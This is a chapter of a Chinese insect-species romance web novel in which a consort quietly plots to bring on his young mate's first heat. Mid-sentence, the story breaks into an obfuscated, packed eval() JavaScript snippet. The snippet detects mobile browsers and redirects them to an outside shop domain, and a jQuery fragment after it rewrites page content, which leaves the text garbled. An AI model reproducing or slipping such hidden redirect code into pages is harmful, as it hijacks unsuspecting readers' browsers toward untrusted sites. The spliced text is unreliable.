“赫特的事和你有关?”希利安坐在床沿,看着面前跪在面前塞万穆斯。
对方不知什么时候,把昨天绑在他头上的蝴蝶结丝带重新编织好,变成神圣雪白绸缎质地。
若不是这条丝带是从小陪着他长大,早已浸透他的信息素,他恐怕都认不出。
塞万穆斯另一只手拿着囚着强大精神力的黑环,将丝带穿过黑环,俯身,绕过希利安的大腿内侧,固定在了腿根处。
他就这样跪着中间,温热的气息时不时碰过敏/感的内侧,希利安下意识往下扯了扯白衬衫。
“你干什么呢?”希利安低头看,眉头拧起来。年纪尚小的雄虫很快被新事物吸引,忘掉了刚刚提出的问题。
“这是帝星目前流行的样式。”塞万穆斯解释道。
“什么乱七八糟的。”希利安低头看着那条雪白丝带绕过腿根,在黑环上系成一个精巧的结,尾端垂下来,蹭着皮肤,痒得很。
“不舒服。”希利安不太喜欢。绑在头上还能忍,绑在腿上就算了。
雪白腿环紧紧箍着大腿,勒出一道浅浅的红痕,希利安下意识动了动腿,蹭到塞万穆斯的脑袋,雌虫的鼻尖几乎要贴上他的大腿根,呼吸隔着衣料透进来,他有点不适应,太过亲密了。
但对方是个极其细致的雌虫,在希利安不满积累到极限时拉开了距离。指尖抵在腿环下缘,轻轻调整了一下角度,恰好卡在肌肉最柔软的地方。
至少不会再让虫感到不适。
塞万穆斯鼻尖鼻尖几乎要贴上小雄子的大腿根,浓烈信息素几乎没有遮挡地吸入鼻腔。
他克制到身下的肌肉微微颤抖,只庆幸昨晚已经汲取到足够的信息素,以至于现在勉强保持理智。
尽量用依旧温和的口吻,加重了些筹码:“这是帝星……S级雄虫内最流行的。”
“……真的?”
这句话相当有效,至少用来拿捏希利安这种半大骄傲的雄虫,是最好不过的理由。
毕竟小雄虫也没什么S级的朋友,就算有,也没有熟到能扒开别人裤子看腿环的程度。
这有点冒昧。
“你是说他们S级的雄虫,还喜欢在腿上绑这花里胡哨的东西?”希利安还是觉得不舒服。
怪怪的。
不止是腿环,还有对面雌虫今天浓得异常的草药味。
塞万穆斯低着头,看不清神色:“是的,雄主。”
“好吧。”希利安想了想,S级雄虫一般绑一个,他比所有的雄虫都厉害……
小雄虫一本正经,举起两根青葱似的手指,“那我要绑两个!”
塞万穆斯“……”
“对了,我刚刚问你呢,赫特的事情和你有关吗?”希利安很快想起了正事,他还是怀疑塞万穆斯,直觉。
而他直觉一向很准。
抬起脚顺势抵上塞万穆斯的胸口,对方滚烫的体温隔着一层布料传来,他下意识想缩回去,又咬咬牙,踩得更实了些。
气势不能输!
希利安微微抬起下巴,一副审问犯人的模样。
只是清晨刚醒,漂亮眼眸里还残留着些睡意,睫毛半翘不翘地覆着,像还没完全醒透。
上身只有一件衬衫,下摆堪堪遮住大腿根部,两条雪白笔直的腿其中一只就这样踩在雌虫胸口上。
而另一只腿环在上边宣告着强烈的存在感,浑然不觉自己这副模样有多容易让虫走神。
其实塞万穆斯现在想的是:是不是该提醒雄主先把裤子穿好。
这个姿势若是被哪个侍虫撞见,传出去,按律论处,最后被问责的一定是他。
未能及时提醒雄虫保持得体距离、未履行雌君规劝之责、甚至有诱导雄虫做出越界行为之嫌……哪一条都够他受的。
在塞万穆斯犹豫时,希利安则思考另一件事。
他听说过,雄保会培育的雌虫受到规则之力约束,绝不可能对雄主撒谎。
一旦违逆,规则反噬会撕裂灵魂,那种痛苦连SS级都扛不住。所以赫特的事,如果真是塞万穆斯做的……他不可能瞒得住。
“赫特的事,是不是和你有关?”
雄虫的声音太过威严,他这时才听清希利安的问题,规则的力量化身金色的符文缠绕着他,只等他开口。
塞万穆斯下意识看向希利安眼眸,又在下一刻别过眼,低头。
“赫特是你杀的吗?是,或不是?很难回答吗?”
希利安没注意到,他问出这句话后,雌虫微不可查的松了口气,回答得很干脆:“不是。”
“嗯?不是你杀的?”
在规则的限制下雌虫不可能撒谎,塞万穆斯身上也没有被惩罚后强撑的痕迹。
那是谁?
……
但希利安确认了一件事,如果不是塞万穆斯做的,那么下一个有危险的——那只冲出来刺杀他的小雄虫。
该死的!
希利安猛地站起身,衬衫下摆一晃,露出大片雪白的腿根,就要往外冲。
“雄主!”这下塞万穆斯顾不上跪下,一把拦腰捞住跌跌撞撞的雄虫,把人按回沙发边沿,三两下替他套好裤腿、系好腰带、拽平整衬衫。
趁希利安还没反应过来,把早已备好的三明治干脆利落塞进他嘴里。
希利安顾不上这么多了,拽下三明治咬了一大口,丢回托盘,抓过执法部外套就往外跑。
……
房间回归平静,雄虫的信息素一点点淡去。
塞万穆斯拿起被咬了几口的三明治,断面还留着希利安咬过的齿痕,边缘洇着湿润带着青莲香味。
血色横瞳在眼眸中一闪而过,贪婪地吸了几口上边的信息素,咽下。
“审判庭长。”侍虫拿着高高的一沓报告进入,弯腰行礼,“这是您昨天送来大少爷的样品,检测结果。”
希利安确实是维斯特冕家这一代的大少爷,虽然公爵始终没有松口给希利安冠姓,但极其会揣摩主家的心思的佣虫,依旧是这样称呼的。
那边送来的吃穿用度从未短过,样样都是最好的。不管怎么说,希利安都是维斯特冕家新生的一代。
塞万穆斯伸手轻点,那一沓厚厚的报告便凌空飞起,一张张被幽绿的火焰覆盖,很快化作数据流汇入眼底。
侍虫继续说道:“根据体检信息显示,大少爷的首次潮期预计在一年后才会到来。
而且……少爷当初在蛋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750924|209419||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
中没有接受过雄虫信息素的持续投喂,先天基础不足。即便您持续投放信息素诱导,要提前也——”
“等不了。”
“大人,我知道您……但您要考虑少爷的身体,最好的选择是顺其自然。强行提前潮期,对雄虫的负担不小。”
“不这样做……等……太晚了。”
侍虫沉默一瞬,声线压低:“这是……家主的意思。”
“家主说,不要再陪大少爷玩那种危险的过家家游戏了。让他尽快辞职,远离政权。说雄虫不该把精力分得太散,免得身体拖垮,虫崽没着落……”
他斟酌着,最终还是说了:“……干得再多爬得再高,也就那样。”
……
维斯特冕家族确实是当今雄虫世家中底蕴最深厚的,更不说如今希利安雄祖父的已经是虫族的皇太子。虽然雄虫不参与皇位继承,他也同时担任上议院议长,掌控绝对的实权。
要不是家族雄虫出生率太低,身为接班虫的雄父私奔逃跑,导致家族新生力量断层摇摇欲坠…
民间议论纷纷,维斯特冕家族得罪了虫神,降下诅咒,注定要消亡在希利安这代。
身为家主的雄祖父自然是希望希利安安分一些,至少…活着。而不是在这危险的政坛闯荡,为他们看不上的东西,去争去抢。
……但辞职?
塞万穆斯太清楚这一切对希利安来说意味着什么。
那个从五岁发誓要站在权力顶峰的虫崽,用十三年的时间爬进议会厅,为的就是那一口气。
如今有人要他退回去,退回那个只需要享受和生育的囚笼。
还不如杀了他。
“你回复公爵,”塞万穆斯说,“我们很快会有雄虫崽……这个月。”
侍虫顿了一下,随即垂首:“是。”
公爵府的侍虫弓身退下。
门还未完全合拢,身穿雄保会制服的数十位雌虫鱼贯而入,步伐整齐划一。
与塞万穆斯如出一辙同样的雪发白瞳,像同一只手捏出来的序列制品。
不同的是他们等级略微低一些,但也是外虫惊骇不已的S级。
无虫能想象得到,在帝星之外一位s级雌虫就能占领一颗A级星球,雄保会居然能批量制造,是怎么做到的。
为首的虫手中端着一只托盘,上面搁着一盏粉色的汤药,里面似乎有层层浮浮的虫卵翻涌。
“SS1962”机械般的声音,不带任何感情。“这是会长的意思。”
雄保会长——莫利亚斯。无人知道他具体的年纪与等级,传闻与维斯特冕家族有细微的联系。
他极度厌恶雌虫,唯一公开的雌虫子嗣是塞万穆斯,据说只是有过春风一度的雌虫所生。
塞万穆斯没有犹豫,接过,一饮而尽。
药液入喉,锈腥气从食道反冲上来,直冲眼眶,他眼瞳猛地睁大,眼底似乎有不断游走的幼虫蠕动撕咬。
他依旧保持着身形不变,稳稳站着,任由冷汗滴落。
良久。
“祝您与希利安阁下早日诞下继承虫。”整齐划一的诡异声线,几乎分不清彼此,像同一具躯体发出的回声。
侍虫们行礼,退下。